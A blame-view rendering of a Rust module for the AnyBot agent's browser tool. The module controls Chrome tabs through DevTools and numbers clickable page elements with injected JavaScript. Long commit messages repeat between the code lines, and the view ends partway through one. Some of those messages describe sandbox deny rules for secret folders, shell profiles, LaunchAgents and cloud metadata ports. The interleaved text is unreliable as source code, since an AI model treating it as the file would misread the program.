AnyBot/src/browser.rs

1760 lines
108 KiB
Rust
Raw Normal View History

// AnyBot's browser, the full toolset. botbrowser.rs starts Chrome and keeps profiles; this file
// drives a tab through the Chrome DevTools Protocol like a person would (a Firefox tab through
// WebDriver BiDi: bidi.rs does each DevTools command the BiDi way, so the tools are the same):
// - real mouse and keyboard (Input.dispatchMouseEvent / insertText / dispatchKeyEvent), so
// React date pickers, dropdowns and menus that ignore scripted events still respond;
// - a numbered list of everything clickable (links with their addresses, buttons, fields,
// dropdowns, tabs, calendar cells — anything the page gives a pointer cursor);
// - after each action only what changed (new address, new text), not the whole page again;
// - tab screenshots (no screen-recording permission needed), tables as Markdown, find on page,
// waiting for text, tabs, back/forward/reload, file uploads, downloads, PDF, page dialogs and
// running a script on the page.
use serde_json::{json, Value};
use std::io::ErrorKind;
use std::net::{SocketAddr, TcpStream};
use std::time::{Duration, Instant};
use crate::botbrowser::{self, Kind};
const CALL_TIMEOUT_SECS: u64 = 30;
/// Longest element list in one answer.
const MAX_ELEMENTS: usize = 250;
/// One connection to a tab: DevTools (Chrome-family), or a tab of a Firefox driven over BiDi.
pub struct Tab {
link: Link,
next: u64,
}
enum Link {
Cdp(Box<tungstenite::WebSocket<TcpStream>>),
Bidi { port: u16, context: String },
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
}
/// The ordinary page tabs of a /json/list answer, most recently used first.
pub(crate) fn pages(list: &Value) -> Vec<Value> {
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
list.as_array().cloned().unwrap_or_default().into_iter().filter(|t| t["type"] == "page" && !t["url"].as_str().unwrap_or("").starts_with("devtools://")).collect()
}
/// The browser's port for a profile (starting it if needed), and which protocol it speaks.
pub fn port_of(profile: Option<&str>) -> Result<(String, u16, Kind), String> {
let prof = botbrowser::resolve(profile)?;
let (_, port, _) = botbrowser::ensure(&prof, None)?;
Ok((prof.clone(), port, botbrowser::kind_of(Some(&prof))))
}
impl Tab {
/// The tab this step works on: its job's latest own tab, else the latest one no other job
/// has (the list has the most recently used first).
pub fn current(profile: Option<&str>) -> Result<Tab, String> {
let (_, port, kind) = port_of(profile)?;
let list = botbrowser::pages_of(kind, port)?;
// This job's own latest tab (another bot's job may have one in front).
let t = botbrowser::pick_tab(&list).ok_or("AnyBot 瀏覽器沒有開著的分頁,請先用 browser_open 打開網址。")?;
botbrowser::claim(t["id"].as_str().unwrap_or(""));
if kind == Kind::Firefox {
let context = t["id"].as_str().unwrap_or("").to_string();
crate::bidi::touch(port, &context);
return Ok(Tab { link: Link::Bidi { port, context }, next: 0 });
}
Tab::connect(port, t)
}
fn connect(port: u16, t: &Value) -> Result<Tab, String> {
let ws_url = t["webSocketDebuggerUrl"].as_str().ok_or("這個分頁不能控制(可能已被別的工具連著)")?;
let addr: SocketAddr = format!("127.0.0.1:{port}").parse().unwrap();
let stream = TcpStream::connect_timeout(&addr, Duration::from_secs(5)).map_err(|e| e.to_string())?;
stream.set_read_timeout(Some(Duration::from_secs(CALL_TIMEOUT_SECS))).ok();
let (ws, _) = tungstenite::client::client(ws_url, stream).map_err(|e| format!("連不上 AnyBot 瀏覽器:{e}"))?;
Ok(Tab { link: Link::Cdp(Box::new(ws)), next: 0 })
}
pub fn is_firefox(&self) -> bool {
matches!(self.link, Link::Bidi { .. })
}
/// One DevTools command; events that arrive meanwhile are skipped. (On Firefox, done the
/// WebDriver BiDi way, with an answer shaped the same.)
pub fn call(&mut self, method: &str, params: Value) -> Result<Value, String> {
let ws = match &mut self.link {
Link::Bidi { port, context } => return crate::bidi::cdp(*port, context, method, &params),
Link::Cdp(ws) => ws,
};
self.next += 1;
let id = self.next;
ws.send(tungstenite::Message::Text(json!({"id": id, "method": method, "params": params}).to_string().into())).map_err(|e| e.to_string())?;
let start = Instant::now();
loop {
if start.elapsed() > Duration::from_secs(CALL_TIMEOUT_SECS) {
return Err("瀏覽器太久沒有回應(頁面可能跳出了對話框:可以用 browser_dialog 處理)".into());
}
match ws.read() {
Ok(tungstenite::Message::Text(t)) => {
let v: Value = serde_json::from_str(t.as_str()).unwrap_or(Value::Null);
if v["id"] == id {
if let Some(e) = v.get("error") {
return Err(e["message"].as_str().unwrap_or("瀏覽器拒絕了這個動作").to_string());
}
return Ok(v["result"].clone());
}
}
Ok(_) => {}
Err(tungstenite::Error::Io(e)) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => return Err("瀏覽器太久沒有回應(頁面可能跳出了對話框:可以用 browser_dialog 處理)".into()),
Err(e) => return Err(e.to_string()),
}
}
}
/// Run JavaScript and get its value back.
pub fn eval(&mut self, expr: &str) -> Result<Value, String> {
let r = self.call("Runtime.evaluate", json!({"expression": expr, "returnByValue": true, "awaitPromise": true, "userGesture": true}))?;
if let Some(ex) = r.get("exceptionDetails") {
return Err(format!("頁面上的程式出錯:{}", ex["exception"]["description"].as_str().or(ex["text"].as_str()).unwrap_or("")));
}
Ok(r["result"]["value"].clone())
}
fn close(self) {
if let Link::Cdp(mut ws) = self.link {
let _ = ws.close(None);
}
}
}
// ---------- what the page offers ----------
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
/// Every element matching `sel`, the page's own and those inside open shadow roots (web
/// components: Chromium's settings pages, YouTube, many app frameworks), in the order they are
/// laid out: a host, then what its shadow root shows, then its own children. Plain
/// querySelectorAll stops at every shadow root, so those buttons had no number at all.
const DEEP_JS: &str = "const deepAll = (sel, root) => { const out = []; const walk = r => { for (const el of r.querySelectorAll('*')) { if (sel === '*' || el.matches(sel)) out.push(el); if (el.shadowRoot) walk(el.shadowRoot); } }; walk(root || document); return out; };";
/// Numbers everything clickable or fillable (data-anybot-ref) and lists it.
const ELEMENTS_JS: &str = r#"(() => {
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
%DEEP%
const vis = el => { const r = el.getBoundingClientRect(); if (r.width < 2 || r.height < 2) return false; const s = getComputedStyle(el); return s.visibility !== 'hidden' && s.display !== 'none' && +s.opacity > 0.05; };
const clean = s => (s || '').replace(/\s+/g, ' ').trim();
const name = el => clean(el.getAttribute('aria-label') || el.innerText || el.value || el.getAttribute('placeholder') || el.title || el.getAttribute('alt') || (el.querySelector('img[alt]') || {}).alt || '').slice(0, 80);
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
const label = el => { const a = el.getAttribute('aria-label'); if (a) return clean(a).slice(0, 60); if (el.labels && el.labels[0]) return clean(el.labels[0].innerText).slice(0, 60); const id = el.getAttribute('aria-labelledby'); if (id) { const home = el.getRootNode(); const l = (home.getElementById ? home : document).getElementById(id); if (l) return clean(l.innerText).slice(0, 60); } return clean(el.getAttribute('placeholder') || el.name || el.title || ''); };
const base = 'a[href],button,input:not([type=hidden]),select,textarea,summary,[contenteditable=""],[contenteditable=true],[role=button],[role=link],[role=tab],[role=menuitem],[role=menuitemcheckbox],[role=option],[role=checkbox],[role=radio],[role=combobox],[role=switch],[role=treeitem],[role=gridcell],[onclick],[tabindex]:not([tabindex="-1"])';
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
const all = deepAll('*');
const order = new Map(all.map((el, i) => [el, i]));
const set = new Set(all.filter(el => el.matches(base)));
// Anything the page shows a pointer cursor for (calendar days, cards, custom buttons…).
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
for (const el of all) {
if (set.size > 4000) break;
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
if (!el.matches('div,span,li,td,th,p,img,svg,i,label')) continue;
if (getComputedStyle(el).cursor === 'pointer' && !(el.parentElement && getComputedStyle(el.parentElement).cursor === 'pointer')) set.add(el);
}
feat: 借鏡 pstack/Grok Bot——例行任務執行紀錄、完成看證據、教訓分流、園丁報告、減少操作步驟、網站地圖 1. 例行任務執行紀錄:每次執行記開始/結束、完成/失敗/被停止/中斷、步數與失敗步數、原因,保留最近 20 次(Grok Bot 官方規格);上次失敗或中斷的原因帶進下一次;連續失敗 2 次自動暫停並說明原因;設定頁、手機詳細頁、list_routines 都看得到,沒有紀錄時說「查不到」不說「沒跑過」 2. 完成看證據:evidence.rs 從步驟算出實際成功送出幾次,寫進例行任務紀錄;/goal 評審的摘錄把 Bot 的話標成「不是證據」並附系統統計,對不上以系統為準;評審優先用另一家供應商的模型,失敗退回原本的 3. 教訓分流:自動學技能時,AnyBot 自己的工具問題寫進 tool_issues → 「待改進」清單(同一工具合併計次),不寫進技能;設定 › 更新可看可清除 4. 園丁報告(garden.rs):平日 8:44 掃過去一天的失敗、走冤枉路的執行、自動暫停與重複出現的待改進;週一 8:49 列出失敗多或太耗時的例行任務;沒事不報,可在設定關掉 5. 減少步驟:browser type 多行文字一次放進欄位(先試貼上事件、檢查沒進再用 insertText,Firefox 也行)並回報欄位內容;點進輸入框回「游標已在…」不再說「沒有變化」;元素編號在同一頁重讀時不變;wait 的 after_send 從上次送出算間隔 6. 網站地圖:學技能時同一網站的操作知識整理進「<網站> 網站地圖」(功能/怎麼到/怎麼操作/陷阱),做事的技能只寫特有規則 Mac 465、Linux 469 個測試通過;多行輸入與編號實機測試在 Brave、Firefox 通過。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 15:52:44 +00:00
// Numbers stay with their control from one read to the next (a [17] read a minute ago is still
// the same reply box); new controls get the next numbers; ones not listed now lose theirs.
const prev = new Map(); for (const e of all) if (e.hasAttribute('data-anybot-ref')) prev.set(e, +e.getAttribute('data-anybot-ref'));
let next = Math.max(window.__anybotRefNext || 1, 1); for (const v of prev.values()) if (v + 1 > next) next = v + 1;
const used = new Set(); const listed = new Set();
const inView = el => { const r = el.getBoundingClientRect(); return r.bottom > 0 && r.top < innerHeight && r.right > 0 && r.left < innerWidth; };
Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
const ordered = [...set].filter(el => vis(el) && !el.closest('[aria-hidden=true]')).sort((a, b) => order.get(a) - order.get(b));
const out = []; const seen = new Set(); let n = 0;
for (const el of ordered) {
const tag = el.tagName.toLowerCase(); const role = el.getAttribute('role') || '';
let kind, text = name(el), extra = '';
if (tag === 'a') { kind = '連結'; extra = el.href ? '→ ' + el.href : ''; }
else if (tag === 'select') { kind = '下拉選單'; text = label(el); extra = [...el.options].map(o => (o.selected ? '✓' : '') + clean(o.text)).slice(0, 20).join(' / '); }
else if (tag === 'input' || tag === 'textarea') {
const t = (el.type || 'text').toLowerCase();
if (t === 'checkbox' || t === 'radio') { kind = t === 'checkbox' ? '勾選框' : '選項'; text = label(el) || text; extra = el.checked ? '已勾' : '未勾'; }
else if (t === 'submit' || t === 'button' || t === 'reset') kind = '按鈕';
else if (t === 'file') { kind = '上傳檔案'; text = label(el) || '選擇檔案'; }
安全、修正: harden sandboxes, approval gates, vault, relay roles, and fix protocol/UI bugs - macOS 沙盒與工具 (tools.rs, policy.rs, docindex.rs): block AppleScript raw events and concatenation outside the sandbox; stop exposing ~/.ssh or localhost sockets in Sealed mode; deny writes to shell profiles, LaunchAgents and .git/hooks; expand secret-file ignores and enforce symlink/policy checks across SSH, device and document search. - 電腦操作與遮罩 (computer.rs, agent.rs, marks.rs, desktop.rs, cloudbox.rs, portal.rs): forbid clicking or typing into AnyBot's own windows; extend the sensitive-action hard gate to raw coordinates, Return/Delete submits and remote devices; stop batch steps if the front app changes; black out secrets on zoom, show, >600-node trees, adjacent OTP labels, box screenshots and control text lists; preserve non-text Wayland clipboards. - 保險庫與瀏覽器 (vault.rs, vault_store.rs, browser.rs, botbrowser.rs, web.rs, box/browser): verify tab host and HTTPS atomically at fill time; taint filled tabs against browser_eval and PDF export while masking card/CVC values and screenshots; remember sites only on always-allow; drop --remote-allow-origins=*; gate private URLs and block metadata/Docker ports, OrbStack 198.18/15 and IPv6 transition ranges. - 帳號伺服器、同步與傳送 (relay/, remote.rs, mirror_ui.rs, share.rs, drops.rs): isolate paired hands hosts from brain sync, tickets, pairing and backup overwrites; redact routine trigger secrets and clear REDACTED when endpoints change; isolate channel and team-member turns from owner memories, appctl and grants; scrub shared bot exports and reset grants/routines on import; validate drop IDs and serialize chunk writes. - 網路與協定穩定性 (httpd.rs, tunnel.rs, vnc.rs, Caddyfile*): fix chunked integer overflow and CRLF header injection; enforce Origin checks, connection/job caps, 200 MB backup reads, unique atomic temp files and ASCII hex guards; bound deflate unzip and VNC sniff buffers; move VNC stdin/text off the tunnel loop. - 介面、排程、語言與其他修正 (app.rs, i18n.rs, providers.rs, skills.rs, routines.rs, setup.rs, store.rs, preview.rs, attach.rs, speech.rs, teams.rs, mcp.rs, voice.rs): wire up the delete-routine confirmation dialog and mirror run-now; preserve unsaved mirror edits across brief disconnects; give Chinese skills distinct folders and approval 